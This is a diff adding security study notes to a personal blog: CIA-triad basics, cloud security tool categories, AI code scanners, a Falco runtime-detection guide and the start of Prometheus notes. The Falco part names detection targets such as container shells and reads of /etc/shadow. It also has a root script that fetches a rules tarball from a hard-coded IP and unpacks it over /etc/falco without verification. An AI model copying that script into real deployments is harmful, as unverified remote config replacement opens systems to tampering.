Lambda | Azure Functions Serverless Compute | +| Serverless | FaaS | Cloud Functions for Firebase | Run backend code for your Firebase applications in response to events that are triggered by Firebase and Google Cloud features, without managing servers. | AWS Lambda | Azure Functions Serverless Compute | +| Serverless | Release & monitor | Firebase App Distribution | Distribute your Firebase apps to trusted testers quickly and easily. | | Azure App Center | +| Serverless | Release & monitor | Firebase Crashlytics | Get real-time, actionable insight into Firebase application issues with this native crash reporting solution for iOS, Android, and Unity, including streaming data export. | | Azure App Center | +| Serverless | Release & monitor | Firebase Performance Monitoring | Gain insight into your app's performance issues. | | +| Serverless | Release & monitor | Firebase Test Lab | Test your Firebase application on devices hosted in a Google data center. | AWS Device Farm | Azure App Center | +| Serverless | Workflow orchestration | Workflows | Orchestrate and automate Google Cloud and HTTP-based API services with serverless workflows. | AWS Step Functions | Azure Logic Apps | +| Serverless | Release & monitor | Firebase App Check | Help protect your API resources from abuse by preventing unauthorized clients from accessing your backend resources. | | +| Serverless | FaaS | Firebase Extensions | Deploy pre-built solutions to add new functionality to your app without managing servers or containers. New functionality includes payment processing, data syncing, and generative AI. | AWS Serverless Applications | +| Serverless | Build | Firebase Machine Learning | Use machine learning in your apps to solve real-world problems. | | +| Storage | Block storage | Persistent Disk | Store data from VM instances running in Compute Engine or GKE, Google Cloud's state-of-the-art block storage offering. | Amazon Elastic Block Store (EBS) | Azure Disk Storage | +| Storage | File storage | Filestore | Provide fully managed NFS file servers on Google Cloud for applications running on Compute Engine VMs (VMs) instances or GKE clusters. | Amazon Elastic File System (EFS) | Azure Files | +| Storage | Infrequently accessed object storage | Cloud Storage Archive | Store infrequently accessed data using Google Cloud's ultra low-cost, highly durable, highly available archival storage. | Amazon S3 Glacier | Azure Archive Storage | +| Storage | Object storage | Cloud Storage | Store any amount of data and retrieve it as often as you'd like, using Google Cloud's object storage offering. | AWS Simple Storage Service (S3) | Azure Blob Storage | +| Web proxy | Egress security | Secure Web Proxy | Helps you secure egress HTTP(S) traffic as a proxy service. | | Azure Firewall Explicit proxy (preview) | + +. diff --git a/_posts/01FundamentalConcenpts/SecurityFundamentalConcepts.md b/_posts/01FundamentalConcenpts/SecurityFundamentalConcepts.md new file mode 100644 index 00000000000..f8223e279ef --- /dev/null +++ b/_posts/01FundamentalConcenpts/SecurityFundamentalConcepts.md @@ -0,0 +1,266 @@ +--- +title: Basic - Security Fundamental Concepts +date: 2020-09-23 11:11:11 -0400 +categories: [01FundamentalConcenpts] +tags: [FundamentalConcenpts, CIA] +math: true +image: +--- + +# Security Fundamental Concepts + +- [Security Fundamental Concepts](#security-fundamental-concepts) + - [Security Fundamentals](#security-fundamentals) + - [Network Security Goals](#network-security-goals) + - [The CIA Triad](#the-cia-triad) + - [Confidentiality 机密性](#confidentiality-机密性) + - [To support Confidentiality](#to-support-confidentiality) + - [Integrity 诚实](#integrity-诚实) + - [To support Integrity](#to-support-integrity) + - [Availability](#availability) + - [To support Availability](#to-support-availability) + +--- + +## Security Fundamentals + +- this section identifies several categories of network attacks. + +### Network Security Goals + +- Today’s corporate networks, the demands of ecommerce and customer contact require connectivity between internal corporate networks and the outside world. + +- Two basic assumptions about modern corporate networks: + - Today’s corporate networks are large, interconnect with other networks, and run both standards-based and proprietary protocols. + - The devices and applications connecting to and using corporate networks are continually increasing in complexity. + +- Computers and networks are being misused at a growing rate. + +- Spam, phishing, and computer viruses are becoming multibillion-dollar problems, as is identity theft, which poses a serious threat to the personal finances and credit ratings of users, and creates liabilities for corporations. + +- Thus, there is a growing need for broader knowledge of computer security in society as well as increased expertise among information technology professionals. Society needs more security-educated computer professionals, who can successfully defend against and prevent computer attacks, as well as security-educated computer users, who can safely manage their own information and the systems they use. + +- computer security's concepts and terms. 3 primary goals of network security: + - Confidentiality + - Integrity + - Availability + +--- + +## The CIA Triad + +### Confidentiality 机密性 + +- Data confidentiality: `keeping data private, avoidance of the unauthorized disclosure of information`. offers a high level of assurance that data, objects, or resources are restricted from unauthorized subjects. + +- (entail physically or logically restricting access to sensitive data or encrypting traffic traversing a network) + +- the heart of information security + +Events that lead to confidentiality breaches include: + +- failing to properly encrypt a transmission, +- failing to fully authenticate a remote system before transferring data, +- leaving open otherwise secured access points, +- accessing malicious code that opens a back door, +- misrouted faxes, +- documents left on printers, +- or even walking away from an access terminal while data is displayed on the monitor. + +#### To support Confidentiality + +Tools for protecting sensitive information: + +- **Encryption**: + + - `Encrypt traffic, package using encryption/decryption key` + - extremely difficult to determine the original information without the decryption key. + - encryption/decryption algorithms uses a key in its mathematical calculation, + +- **network-security mechanisms** + + - like firewalls, access control lists [ACL] + - prevent unauthorized access to network resources. + +- **Authentication**: 鉴定 + + - `identity or role that someone has`. + - Require appropriate credentials (like usernames and passwords): + - something the person has (smart card/radio key fob storing secret keys), + - something the person knows (password), + - something the person is (fingerprint). + +- **Authorization**: 授权 + + - `Determine if a person or system is allowed access to resources`, based on an access control policy. + - `rules and policies that limit access` to confidential information to those people and/or systems with a “need to know.” + - may be determined by identity (like name or serial number, or by a role that a person has) + - prevent attacker from tricking the system to have access to protected resources. + +- **Physical security, personnel training**: + + - the establishment of `physical barriers to limit access` to protected computational resources. + - locks on cabinets and doors, windowless rooms, sound dampening materials, + - rooms with walls incorporating copper meshes (Faraday cages) so that electromagnetic signals cannot enter or exit the enclosure. + +Example: + +- little lock icon in website: +- browser perform an **authentication** procedure to verify the `web site is indeed who it says it is`. +- the web site check that `our browser is authentic and we have the appropriate authorizations to access this web page` according to its access control policy. +- Our browser then asks the web site for an encryption key to encrypt our credit card information in encrypted form. +- Finally, our credit card number reaches the server that is providing this web site, `the data center where the server is located should have appropriate levels of physical security`, access policies, and authorization and authentication mechanisms to keep our credit card number safe. +- There are a number of real demonstrated risks to physical eavesdropping. + +**Confidentiality** and **integrity** depend on each other. + +- Without object integrity, confidentiality cannot be maintained. +- Other concepts, conditions, and aspects of confidentiality include the following: + + - **Sensitivity**: the quality of information could cause harm or damage if disclosed. Maintaining confidentiality of sensitive information helps to prevent harm or damage. + + - **Discretion** 慎重: an act of decision where an operator can influence or control disclosure in order to minimize harm or damage. + + - **Criticality** 危险程度: The higher criticality, the more likely the need to maintain the confidentiality of the information. High levels of criticality are essential to the operation or function of an organization. + + - **Concealment**: the act of hiding or preventing disclosure. Often concealment is viewed as a means of cover, obfuscation, or distraction. + + - **Secrecy**: the act of keeping something a secret or preventing the disclosure of information. + + - **Privacy**: keeping information confidential that is personally identifiable or that might cause harm, embarrassment, or disgrace to someone if revealed. + + - **Seclusion** 隔绝: storing something in an out-of-the-way location. This location can also provide strict access controls. Seclusion can help enforcement confidentiality protections. + + - **Isolation**: keeping something separated from others. Isolation can be used to prevent commingling of information or disclosure of information. + +- Each organization needs to evaluate the nuances of confidentiality they wish to enforce. Tools and technology that implements one form of confidentiality might not support or allow other forms. + +### Integrity 诚实 + +the property that `information has not be altered/modified` in an unauthorized way. objects must retain their veracity and be intentionally modified by only authorized subjects. + +A lot of ways that data integrity can be compromised in computer systems and networks (benign / malicious) + +- **benign compromise**: + + - Example: a storage device being hit with a stray cosmic ray that flips a bit in an important file, or a disk drive might simply crash, completely destroying some of its files. + +- **malicious compromise**: + + - Example: a computer virus that infects our system and deliberately changes some the files of our operating system, so that our computer then works to replicate the virus and send it to other computers. + +- Examples of integrity violations: + + - Modifying the appearance of a corporate website + - Intercepting and altering an e-commerce transaction + - Modifying financial records that are stored electronically + +Integrity can be examined from 3 perspectives: + +- `Preventing unauthorized subjects` from making modifications +- `Preventing authorized subjects from making unauthorized modifications`, such as mistakes +- `Maintaining the internal and external consistency of objects` so that their data is a correct and true reflection of the real world and any relationship with any child, peer, or parent object is valid, consistent, and verifiable + +Numerous attacks focus on the violation of integrity, include: + +- viruses, +- logic bombs, +- unauthorized access, +- errors in coding and applications, +- malicious modification, +- intentional replacement, +- system back doors. +- not limited to intentional attacks. Human error, oversight, or ineptitude accounts for many instances of unauthorized alteration of sensitive information. + +#### To support Integrity + +There are several tools specifically for support integrity: + +- **Backups**: the `periodic archiving 存档 of data`. + +- **Checksums**: + + - A checksum function depends on the entire contents of a file, the computation 计算 of a function that `maps the contents of a file to a numerical value`. + - Even a small change to the input file (such as flipping a single bit) will result in a different output value. + - Checksums are like trip-wires, they are used to detect when a breach to data integrity has occurred. + +- **Data correcting codes**: + + - methods for storing data in such a way that small changes can be easily detected and automatically corrected. + - These codes are typically applied to small units of storage (e.g., at the byte level or memory word level), but there are also data-correcting codes that can be applied to entire files as well. + +These tools for achieving data integrity all possess a common trait, they use `redundancy`. + +- they involve the **replication** 复制 of some information content or functions of the data +- so that we can detect and sometimes even correct breaches in data integrity. + +not just the `content of data file`, also need to protect the `metadata` 元数据 for data file (attributes of the file or information about access to the file, not strictly a part of its content) + +- Examples of metadata: + - the user who is the owner of the file, + - the last user who has modified the file, + - the last user who has read the file, + - the dates and times when the file was created and last modified and accessed, + - the name and location of the file in the file system, + - the list of users or groups who can read or write the file. + +- Thus, changing any metadata of a file should be considered a violation of its integrity. + +- Example: + + - intruder might not modify 修改 the content of files in a system he has infiltrated, + - `but nevertheless 仍然 be modifying metadata` + - Like access time stamps, by looking at our files (and thereby compromising their confidentiality if they are not encrypted). + - So system has integrity checks for metadata, may be able to detect an intrusion that would have otherwise gone unnoticed. + +### Availability + +A measure of the `data’s accessibility`. the property that information is accessible and modifiable in a timely fashion by those authorized to do so. + +- availability of 99.999% (five nines of availability): down only 5 minutes per year, +Availability includes efficient uninterrupted access to objects and prevention of denial-of-service (DoS) attacks. + +There are numerous threats to availabilit, include: + +- device failure, +- software errors, +- environmental issues (heat, static, flooding, power loss, and so on). + +- some forms of attacks that focus on the violation of availability: + + - denial of service (DoS) attack: + - Send improperly formatted data to a networked device, + - resulting in an unhandled exception error. + - Flood a network system with an excessive amount of traffic or requests, + - consume a system’s processing resources + - prevent the system from responding to many legitimate requests. + - object destruction, + - communication interruptions. + +#### To support Availability + +a number of tools for providing availability: + +- **Physical protections**: + + - infrastructure meant to keep information available even in the event of physical challenges. + - Like buildings housing critical computer systems withstand storms, earthquakes, and bomb blasts, outfitted with generators and other electronic equipment to be able to cope with power outages and surges. + +- **Computational redundancies**: + + - computers and storage devices that serve as fallbacks in the case of failures. + - Example: + - redundant arrays of inexpensive disks (RAID) use storage redundancies to keep data available to their clients. + - Also, web servers are often organized in multiples called “farms” + - so that the failure of any single computer can be dealt with without degrading the availability of the web site. + +Numerous countermeasures can ensure availability against possible threats, include: + +- designing intermediary delivery systems properly, +- using access controls effectively, +- monitoring performance and network traffic, +- using firewalls and routers to prevent DoS attacks, +- implementing redundancy for critical systems, +- maintaining and testing backup systems. + +Most security policies, as well as **business continuity planning (BCP)**, focus on the use of fault tolerance features at the various levels of access/storage/security (that is, disk, server, or site) with the goal of eliminating single points of failure to maintain availability of critical systems. diff --git a/_posts/02Security/.DS_Store b/_posts/02Security/.DS_Store new file mode 100644 index 00000000000..8dc6fc0b7a6 Binary files /dev/null and b/_posts/02Security/.DS_Store differ diff --git a/_posts/02Security/2020-02-10-CloudSecurityTools.md b/_posts/02Security/2020-02-10-CloudSecurityTools.md new file mode 100644 index 00000000000..79101667ece --- /dev/null +++ b/_posts/02Security/2020-02-10-CloudSecurityTools.md @@ -0,0 +1,162 @@ +--- +title: Cloud Security Tools +date: 2020-02-10 11:11:11 -0400 +categories: [02Security] +tags: [SecurityTools] +math: true +image: +--- + +- [Cloud Security Tools](#cloud-security-tools) + - [Cloud Infrastructure Entitlement Management (CIEM)](#cloud-infrastructure-entitlement-management-ciem) + - [Cloud Security Posture Mgmt (CSPM)](#cloud-security-posture-mgmt-cspm) + - [Cloud Detection and Response (CDR)](#cloud-detection-and-response-cdr) + - [Cloud Workload Protection Platform (CWPP)](#cloud-workload-protection-platform-cwpp) +- [Cloud Policy](#cloud-policy) + +--- + +# Cloud Security Tools + +云安全解决方案可以帮助减轻企业安全团队的一些云安全负担;但是,有许多解决方案可用,很难确定哪个最能满足组织的需求。公司应考虑的两个主要云安全解决方案是云基础设施授权管理 (CIEM) 和云安全状态管理 (CSPM)。 + +- CIEM 解决方案旨在管理对云资源的访问,使组织能够实施最小权限原则和零信任安全模型。 +- CSPM 提供对云安全配置的关键可见性,使组织能够识别和解决将基于云的资源置于风险之中的错误配置。 + +![Screenshot 2023-06-27 at 11.49.24](/assets/img/Screenshot%202023-06-27%20at%2011.49.24.png) + +![Screenshot 2023-06-27 at 11.49.29](/assets/img/Screenshot%202023-06-27%20at%2011.49.29.png) + +![Screenshot 2023-06-27 at 11.49.35](/assets/img/Screenshot%202023-06-27%20at%2011.49.35.png) + +![Screenshot 2023-06-27 at 11.49.40](/assets/img/Screenshot%202023-06-27%20at%2011.49.40.png) + + + + +--- + +## Cloud Infrastructure Entitlement Management (CIEM) + +随着公司采用云基础架构,许多公司正在部署多云环境,跨多个提供商的平台分发数据和应用程序。这些平台中的每一个都有自己的安全控制和方法来`管理对公司基于云的资源的访问`。 + +- 零信任安全模型和最小特权原则规定用户、应用程序和系统应该只拥有完成工作所需的访问和权限。 +- 跨多个云平台实施授权可能很复杂且不可扩展。 +- 云基础设施授权管理(CIEM) 可以让组织跨多云部署自动化授权管理过程,使组织能够在其整个环境中保持一致的访问控制。 + +CIEM 的一些主要功能包括: +- 发现: + - 应识别所有人类和非人类身份、帐户活动和资源。 + - 应该评估所有类型的权利策略,并为本地和联合身份提供支持。 +- 跨云关联: + - 在多云环境中,通过本机支持所有主要公共云平台来简化授权管理。 +- 可见性: + - 如果没有图形视图等可视化支持,人们很难理解复杂的权利关系。此图形视图应创建身份和资源之间的映射,并支持基于自然语言的权利信息查询。 + - 组织还应该能够在仪表板上跟踪行为、权利消耗和类似指标。 +- 权利优化: + - 未充分使用、过度使用或无效的权利会产生风险并为组织提供有限的价值。 + - 识别这些权利并提供建议以提高效率和有效性。 +- 权利保护: + - 应有助于识别和纠正异常且具有潜在风险的权利。 + - 应根据预建规则或通过创建支持票证自动完成这些权利的补救。 +- 威胁检测和响应: + - 用户行为监控是 CIEM 解决方案的重要组成部分。 + - 异常行为应在企业 SIEM 中生成警报,并分析感兴趣的异常、模式和趋势。 +- 安全态势分析: + - 适用的安全最佳实践、法规和行业标准应集成到云授权创建过程中。 + - 应自动将政策与这些要求进行比较,生成差距分析和建议的修改。 +- 权利记录和报告: + - 有关组织权利的信息是合规性报告中的一项要求,对安全事件的调查至关重要。 + - 应自动生成日志并使用相关授权数据填充内置合规性报告模板。 + +--- + +## Cloud Security Posture Mgmt (CSPM) + +Goal: + +- 安全配置错误是导致云数据泄露的主要原因。为了有效地保护云环境,组织需要正确配置一系列供应商提供的安全控制。对于多个云环境,所有环境都有自己特定于供应商的安全设置,配置管理变得更加复杂。云安全态势管理(CSPM) 使组织能够监控云安全配置并识别云安全控制的潜在错误配置。 + +- monitor cloud infrastructure to ensure that all cloud applications and services are securely configured. + +- accurately detect and remediate your greatest configuration and permission risks. + +CSPM 解决方案的一些关键特性包括: +- 持续配置监控: + - 持续监控云配置是否符合法规和其他政策违规行为。 +- 资产跟踪: + - 验证新资产是否符合公司安全策略并检查对组织云安全状况的威胁。 +- 事件响应管理: + - 实现威胁检测、隔离和补救的集中监控和管理。 +- 风险识别: + - 识别云安全威胁并对其进行分类。 +- 资产清单和分类: + - 提供对云资产及其配置设置的可见性。 + + +![Screenshot 2023-06-27 at 11.40.04](/assets/img/Screenshot%202023-06-27%20at%2011.40.04.png) + +![Screenshot 2023-06-27 at 11.40.29](/assets/img/Screenshot%202023-06-27%20at%2011.40.29.png) + +![Screenshot 2023-06-27 at 11.47.44](/assets/img/Screenshot%202023-06-27%20at%2011.47.44.png) + +![Screenshot 2023-06-27 at 11.48.00](/assets/img/Screenshot%202023-06-27%20at%2011.48.00.png) + +![Screenshot 2023-06-27 at 11.48.05](/assets/img/Screenshot%202023-06-27%20at%2011.48.05.png) + +![Screenshot 2023-06-27 at 11.48.09](/assets/img/Screenshot%202023-06-27%20at%2011.48.09.png) + + +--- + + +## Cloud Detection and Response (CDR) + +- Unified security for collaborative threat response + +- Complex cloud innovations can result in gaps in your security. unifies visibility across workloads, cloud logs, and threat intelligence feeds, so teams are better prepared to detect quickly and respond together. + +![Screenshot 2023-06-27 at 11.51.14](/assets/img/Screenshot%202023-06-27%20at%2011.51.14.png) + +![Screenshot 2023-06-27 at 11.51.26](/assets/img/Screenshot%202023-06-27%20at%2011.51.26.png) + +![Screenshot 2023-06-27 at 11.51.30](/assets/img/Screenshot%202023-06-27%20at%2011.51.30.png) + + +--- + +## Cloud Workload Protection Platform (CWPP) + +- Complete security for your cloud workloads + +- delivers full visibility across hosts, VMs, serverless functions, and hybrid environments, ensuring seamless workload management in both private and public clouds. + + +- Real-time detection of malicious behavior + +- Continuous runtime security with ATT&CK-mapped behavioral detection + +- YARA scans of in-memory processes and files + +- Live and historical query investigations + + +![Screenshot 2023-06-27 at 11.52.29](/assets/img/Screenshot%202023-06-27%20at%2011.52.29.png) + +![Screenshot 2023-06-27 at 11.53.11](/assets/img/Screenshot%202023-06-27%20at%2011.53.11.png) + +--- + +# Cloud Policy + +- [CFSec](https://aquasecurity.github.io/cfsec/v0.3.2/checks/ecs/enable-in-transit-encryption/) + +- [BridgeCrew](https://docs.bridgecrew.io/docs/bc_aws_general_39) + +- [Snyk Vulnerability DB](https://security.snyk.io/rules/cloud/aws/elasticsearch) + +- [Tenable Cloud Security Policies](https://www.tenable.com/policies/cloud-security/search?q=OpenSearch&sort=&page=1) + + + +. diff --git a/_posts/02Security/2020-02-10-SecurityTool.md b/_posts/02Security/2020-02-10-SecurityTool.md new file mode 100644 index 00000000000..87e9ceacc74 --- /dev/null +++ b/_posts/02Security/2020-02-10-SecurityTool.md @@ -0,0 +1,68 @@ +--- +title: Security Tools +date: 2020-02-10 11:11:11 -0400 +categories: [02Security] +tags: [SecurityTools] +math: true +image: +--- + +# Security Tools + +- [Security Tools](#security-tools) + - [OSS Security](#oss-security) + - [Scanner by AI](#scanner-by-ai) + +--- + +## OSS Security + +Gecko: +- [gecko](https://www.gecko.security): +- Become Secure by Default. Find and fix broken authentication, logic bugs, and complex vulnerabilities that rules-based scanners and humans miss. +- Gecko uses an AI native engine to build a semantic understanding of your application. It links together context from your code, infrastructure and documentation to trace how data flows and trust boundaries occur. By threat modelling targeted attack scenarios, Gecko surfaces multi step and business logic vulnerabilities that pattern matching tools overlook. + +## Scanner by AI + +GitHub Copilot CodeQL + AI Enhancements +- Traditional static analysis via CodeQL, enhanced by GitHub's Copilot AI for security autofixes, vulnerability explanations, and code suggestions. +- AI role: Copilot can detect insecure patterns and `suggest safer alternatives` directly `in the IDE`. +- Good for: Developers using GitHub workflows, early-stage secure coding practices. + +Microsoft Security Copilot + Defender for DevOps +- AI assistant (GPT-powered) for security analysts, integrated with Azure DevOps or GitHub to scan IaC, containers, and application code. +- AI role: Generates insights, explanations, and `recommended remediations` for discovered vulnerabilities. +- Good for: Enterprises in the Microsoft ecosystem. + +Jit Security + AI Remediation +- Continuous security tool that scans repos using SAST tools (e.g., Semgrep, Bandit), then `uses AI to prioritize and explain results, and propose code fixes`. +- AI role: `Generates developer-contextual explanations and patch suggestions` using LLMs. +- Good for: Teams wanting lightweight DevSecOps automation with clear actionability. + +Snyk AI +- AI-enhanced version of the Snyk platform with scanning for SAST, dependencies, IaC, containers. +- AI role: Offers `AI-generated remediation advice, code explanations, and prioritization of security issues`. +- Good for: Developers needing security insights in `real time` within GitHub/IDE/CI pipelines. + +Bearer AI +- SAST tool that uses code context and AI heuristics to find data security and privacy risks (e.g., secrets, PII usage, unsafe flows). +- AI role: Trains models to `understand code patterns and sensitive data flows` beyond regex or rule-based systems. +- Good for: Privacy/security-aware companies `handling sensitive data`. + +Oxeye AI (for cloud-native apps) +- Cloud-native security scanner that combines runtime context with static and dynamic analysis. +- AI role: Helps `correlate findings` across layers (e.g., vulnerabilities and actual exploit paths). +- Good for: K8s/containerized environments. + +CodeSentry by GrammaTech (AI-enhanced SCA + SAST) +- Combines SCA (Software Composition Analysis) with AI to `identify known and unknown vulnerabilities` in binaries and source code. +- AI role: Uses machine learning for `vulnerability prediction and classification`. +- Good for: Embedded software, complex C/C++ systems. + +Astra Security AI Scanner +- Web app security scanner with AI-supported threat detection and remediation guidance. +- AI role: Natural language `summaries of issues and guided fixing` steps using LLMs. +- Good for: Web apps and small-to-medium businesses. + + +. diff --git a/_posts/02Security/Falco.md b/_posts/02Security/Falco.md new file mode 100644 index 00000000000..129072342f4 --- /dev/null +++ b/_posts/02Security/Falco.md @@ -0,0 +1,314 @@ + + +- [Falco](#falco) + - [Overview](#overview) + - [Falco vs Linux系统](#falco-vs-linux系统) + - [component](#component) + - [Falco规则文件](#falco规则文件) + - [列子](#列子) + - [falco 的配置](#falco-的配置) + - [falcosidekick](#falcosidekick) + - [code](#code) + - [install](#install) + - [批量部署&更新规则](#批量部署更新规则) + +--- + +# Falco + + +## Overview + + +- 开源云原生运行时安全工具 +- 事实上也是Kubernetes威胁检测引擎。 + +- 是一种旨在检测异常活动的系统行为监控程序。 + +- 是一种开源的审计工具, + - 在用户空间中运行,使用**内核模块**拦截系统调用,通过设置一组规则实现连续监视和检测容器,应用程序,主机和网络活动。 + - 因此,它既能够检测传统主机上的应用程序, + - 也能够检测Docker容器环境或者PaaS容器云平台。 + + +- Falco可以对Linux系统`调用行为`进行监控 + - 提供了**lkm内核模块**驱动和**eBPF**驱动。 + +- Falco的主要功能如下: + - 从内核运行时采集Linux系统调用,提供了一套强大的规则引擎,用于对Linux系统调用行为进行监控 + - 当系统调用违反规则时,会触发相应的告警。 + + + + + + + + +- Falco能够检测或者告警所有涉及系统调用的进程行为。 +- 例如: + + - 某容器中启动了一个shell + + - 容器正在特权模式下运行,或者在从主机挂载敏感路径如/proc + + - 某服务进程创建了一个非预期类型的子进程 + + - 意外读取敏感文件,例如/etc/shadow文件被读写 + + - /dev目录下创建了一个非设备文件 + + - ls之类的常规系统工具向外进行了对外网络通信 + + +--- + + +## Falco vs Linux系统 + + + +Falco与Linux内核的安全检测工具的**不同**在于: + +1. Falco通过底层**内核模块**提供的`系统调用事件流`,实现连续式实时监控功能; + +2. Falco运行在用户空间内,通过**内核模块**拦截系统调用,Falco设置的规则方式也比较灵活; + +3. Falco的规则语法比较简单,支持Docker容器环境或者PaaS容器云平台。 + +4. Falco提供了丰富的告警/错误输出方式,支持与其他工具协同工作。 + +--- + +## component + +![t01bdeacd1c67ac8719](https://i.imgur.com/sClFyxr.png) + + +### Falco规则文件 + +Falco规则文件是包含三种类型元素的YAML文件: +- Rules, 就是生成告警的条件以及一下描述性输出字符串。 +- Macros, 是可以在规则或者其他宏中重复使用的规则条件片段。 +- Lists, 类似Python 列表,定义了一个变量集合。 + +Falco 使用了Sysdig +- 在rule的 condition里面,任何 Sysdig 过滤器都可以在 Falco 中使用。 + + + +#### 列子 + +1. https://github.com/draios/sysdig/wiki/sysdig-user-guide#filtering + +这是一个rule的 condition条件示例,在容器内运行 bash shell 时发出警报: + +```yaml +container.id != host and proc.name = bash + +# 第一个子句检查事件是否发生在容器中(Sysdig 事件有一个container字段,该字段等于”host”事件是否发生在host主机上)。 + +# 第二个子句检查进程名称是否为bash。 +``` + +2. 列子 + +```yaml +- list: my_programs + items: [ls, cat, bash] + +- macro: access_file + condition: evt.type=open + +- rule: program_accesses_file + desc: track whenever a set of programs opens a file + condition: proc.name in (my_programs) and (access_file) + output: a tracked program opened a file (user=%user.name command=%proc.cmdline file=%fd.name) + priority: INFO +``` + + +3. web应用进程java,php,apache,httpd,tomcat 中运行其他进程falco demo. + +![t01326f4124c0ab1339](https://i.imgur.com/4NDSHEV.png) + +4. web应用进程java,php,apache,httpd,tomcat 中读取查看敏感文件falco demo,图片来自,字节沙龙 + +![t0155da32381e4e3a06-1](https://i.imgur.com/2wmo0Q0.png) + + +--- + +### falco 的配置 + +下面,我们修改falco 的配置,`/etc/falco/falco.yaml` + +```yaml +json_output: true +json_include_output_property: true +http_output: + enabled: true + url: "https://localhost:2801" +``` + +启动falco +```bash +systemctl enable falco +systemctl start falco +``` + + +--- + + +### falcosidekick + +https://github.com/falcosecurity/falcosidekick.git + +- falcosidekick 是一个管道工具 +- 接受 Falco的事件并将它们发送到不同的持久化工具中。 + - 使用falcosidekick把 falco post 过来的数据写入es or kafka。 + - 读取kafka里面的东西完成告警 + - 也可以用 Prometheus 和falco-exporter 完成告警。 + +```yaml +elasticsearch: + hostport: "https://10.10.116.177:9200" + index: "falco" + type: "event" + minimumpriority: "" + suffix: "daily" + mutualtls: false + checkcert: true + username: "" + password: "" + + +kafka: + hostport: "" + topic: "" + # minimumpriority: "debug" +``` + +![t010e47727cebe5ca9b](https://i.imgur.com/3WT8nRV.jpg) + + + + +--- + +## code + + +### install + +```bash + +curl -s https://falco.org/repo/falcosecurity-3672BA8F.asc | apt-key add - +echo "deb https://download.falco.org/packages/deb stable main" | tee -a /etc/apt/sources.list.d/falcosecurity.list + +apt-get update -y +apt-get -y install linux-headers-$(uname -r) +apt-get install -y falco + +rpm --import https://falco.org/repo/falcosecurity-3672BA8F.asc +curl -s -o /etc/yum.repos.d/falcosecurity.repo https://falco.org/repo/falcosecurity-rpm.repo +yum -y install kernel-devel-$(uname -r) +yum -y install falco +``` + + +--- + +### 批量部署&更新规则 + +- 批量部署和更新规则 +- 可以使用saltstack 或者 ansible 下发对应shell脚本来完成 + +批量部署 + +```bash +#!/bin/bash + +if [ -n "$(uname -a | grep Ubuntu)" ]; then # 按实际情况修改 + curl -s https://falco.org/repo/falcosecurity-3672BA8F.asc | apt-key add - + echo "deb https://download.falco.org/packages/deb stable main" | tee -a /etc/apt/sources.list.d/falcosecurity.list + apt-get update -y + apt-get install -y falco +else + rpm --import https://falco.org/repo/falcosecurity-3672BA8F.asc + curl -s -o /etc/yum.repos.d/falcosecurity.repo https://falco.org/repo/falcosecurity-rpm.repo + yum -y install falco +fi + +systemctl enable falco && systemctl start falco +``` + + + +批量更新规则 + +```bash +#!/bin/bash + +BDATE=`date +%Y%m%d%H%M%S` +URL=https://8.8.8.8:8888/falco_update.tar.gz + +if [ -d /etc/falco_bak ] +then + cp -r /etc/falco /etc/falco_bak/${BDATE} + rm -rf /etc/falco_bak/falco_update.tar.gz +else + mkdir /etc/falco_bak + cp -r /etc/falco /etc/falco_bak/${BDATE} +fi + +curl -o /etc/falco_bak/falco_update.tar.gz ${URL} +rm -rf /etc/falco +tar -xzvf /etc/falco_bak/falco_update.tar.gz -C /etc +systemctl restart falco + +# 把规则 falco_update.tar.gz,提前准备好 +# 使用saltstack 推下去即可. +# saltstack demo 如下: +[root@localhost ~]$ cat /srv/salt/top.sls +base: + '*': + - exec_shell_install + +[root@localhost ~]$ cat /srv/salt/exec_shell_install.sls + +exec_shell_install: + cmd.script: + - source: salt://falco_install.sh + - user: root + +[root@localhost ~]$ salt '*' state.highstate + + + + +# 也可以使用ansible 推下去即可. +# ansible demo 如下: + +[root@server81 work]$ ansible servers -m shell -a "mkdir -p /var/falco_sh" + +[root@server81 ansible]$ ansible servers -m copy -a "src=/root/ansible/falco_install.sh dest=/var/falco_sh/falco_install.sh mode=0755" +172.16.5.193 | CHANGED => { + +[root@server81 ansible]$ ansible servers -m shell -a "/var/falco_sh/falco_install.sh" +172.16.5.193 | CHANGED | rc=0 >> +``` + + + + + + + + + + + + +. diff --git a/_posts/02Security/OpenLens.md b/_posts/02Security/OpenLens.md new file mode 100644 index 00000000000..e69de29bb2d diff --git a/_posts/02Security/Prometheus/.DS_Store b/_posts/02Security/Prometheus/.DS_Store new file mode 100644 index 00000000000..9e3ccad4d2c Binary files /dev/null and b/_posts/02Security/Prometheus/.DS_Store differ diff --git a/_posts/02Security/Prometheus/2020-02-11-Prometheus-basic.md b/_posts/02Security/Prometheus/2020-02-11-Prometheus-basic.md new file mode 100644 index 00000000000..adca1bb4b5e --- /dev/null +++ b/_posts/02Security/Prometheus/2020-02-11-Prometheus-basic.md @@ -0,0 +1,558 @@ +--- +title: Monitor - Prometheus basic +date: 2020-02-11 11:11:11 -0400 +categories: [02Security, Prometheus] +tags: [SecurityTools, Prometheus] +math: true +image: +--- + +- [Prometheus basic](#prometheus-basic) + - [主要的特色](#主要的特色) + - [kafka with Prometheus](#kafka-with-prometheus) + - [Prometheus架构剖析](#prometheus架构剖析) + - [pull vs push](#pull-vs-push) + - [Job/Exporter](#jobexporter) + - [Telegraf](#telegraf) + - [Pushgateway](#pushgateway) + - [Service Discovery 服务发现](#service-discovery-服务发现) + - [Prometheus Server](#prometheus-server) + - [Dashboard](#dashboard) + - [Alertmanager](#alertmanager) + - [数据模型](#数据模型) + - [metric](#metric) + + +--- + + +# Prometheus basic + +> Prometheus和Kubernetes不仅在使用过程中紧密相关,而且在历史上也有很深的渊源. +> Google公司里曾经有两款系统——Borg系统和它的监控Borgmon系统.Borg系统是Google内部用来管理来自不同应用、不同作业的集群的管理器,每个集群都会拥有数万台服务器及上万个作业;Borgmon系统则是与Borg系统配套的监控系统. +> Borg系统和Borgmon系统都没有开源,但是目前开源的Kubernetes、Prometheus的理念都是对它们的理念的传承. + +> Prometheus官网上的自述是:“From metrics to insight. Power your metrics and alerting with a leading open-source monitoring solution.” +> 从指标到洞察力,Prometheus通过领先的开源监控解决方案为用户的指标和告警提供强大的支持. + + + + +- a timeseries database that scrapes targets and stores metrics. + - 一个时序数据库,又是一个监控系统,更是一套完备的监控生态解决方案. + - 作为时序数据库,在2020年2月的排名中,Prometheus已经跃居到第三名 + - 超越了老牌的时序数据库OpenTSDB、Graphite、RRDtool、KairosDB等 + +- Recorded metrics can be queried and a multitude of operators and functions are provided for queries. + +- Prometheus' model stores all recorded values in the database, in contrast with systems such as Graphite and RRD that store data in a custom —usually lower- 